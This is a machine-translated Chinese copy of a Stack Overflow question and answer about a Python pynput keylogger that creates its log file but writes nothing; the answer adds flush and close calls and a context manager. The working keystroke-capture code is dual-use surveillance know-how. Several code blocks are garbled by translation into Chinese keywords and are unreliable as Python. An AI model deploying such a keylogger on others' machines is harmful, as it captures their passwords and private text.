Python pynput键盘记录器不写入文件
这个键盘记录程序有问题。它必须写入文件,但不能这样做。怎么了 程序必须侦听键盘并将其写入文件(在此之前,检查文件是否存在)。但它不会写入文件,它只创建文件Python pynput键盘记录器不写入文件,python,python-3.x,keylogger,pynput,Python,Python 3.x,Keylogger,Pynput,这个键盘记录程序有问题。它必须写入文件,但不能这样做。怎么了 程序必须侦听键盘并将其写入文件(在此之前,检查文件是否存在)。但它不会写入文件,它只创建文件 from pynput import keyboard import os if os.path.exists("prova3.txt") == True: f = open("prova3.txt","a") else: f = open("prova3.txt","x") def on_press(key):
from pynput import keyboard
import os
if os.path.exists("prova3.txt") == True:
f = open("prova3.txt","a")
else:
f = open("prova3.txt","x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
首先,确保您注意到以下警告: 启动键盘侦听器可能会受到平台上的某些限制 如果你像我一样使用Mac,那么你必须这样做:
- 进程必须以root用户身份运行
- 您的应用程序必须在“启用辅助设备访问”下的白色列表中李>
f.writelines
后调用,以确保数据实际写入文件。(有关说明,请参阅此相关帖子:)。我不熟悉pynput的底层实现,但文档中说它使用线程,这似乎会影响文件I/O。处理完文件后调用也是一种很好的做法
from pynput import keyboard
import os
if os.path.exists("prova3.txt") == True:
f = open("prova3.txt","a")
else:
f = open("prova3.txt","x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
从pynput导入键盘
如果os.path.exists(“prova3.txt”):
f=打开(“prova3.txt”、“a”)
其他:
f=打开(“prova3.txt”、“x”)
def on_按(键):
尝试:
f、 writelines(“///键[{0}]按下了///”。格式化(
关键字:char)
除属性错误外:
f、 writelines(“///特殊键{0}按了///”。格式(
钥匙)
f、 刷新()
def on_释放(钥匙):
f、 writelines([“///键[{0}]已发布///”。格式(
键)])
f、 刷新()
带键盘。监听器(
on_press=on_press,
on_release=on_release)作为侦听器:
listener.join()
f、 关闭()
另一种更好的做法是。这将f
和pynput侦听器都放在相同的上下文中。通过这种方式,不需要调用flush
(但如果愿意,您仍然可以)
从pynput导入键盘
以open(“prova3.txt”、“a”)作为f:
def on_按(键):
尝试:
f、 writelines(“///键[{0}]按下了///”。格式化(
关键字:char)
除属性错误外:
f、 writelines(“///特殊键{0}按了///”。格式(
钥匙)
def on_释放(钥匙):
f、 writelines([“///键[{0}]已发布///”。格式(
键)])
带键盘。监听器(
on_press=on_press,
on_release=on_release)作为侦听器:
listener.join()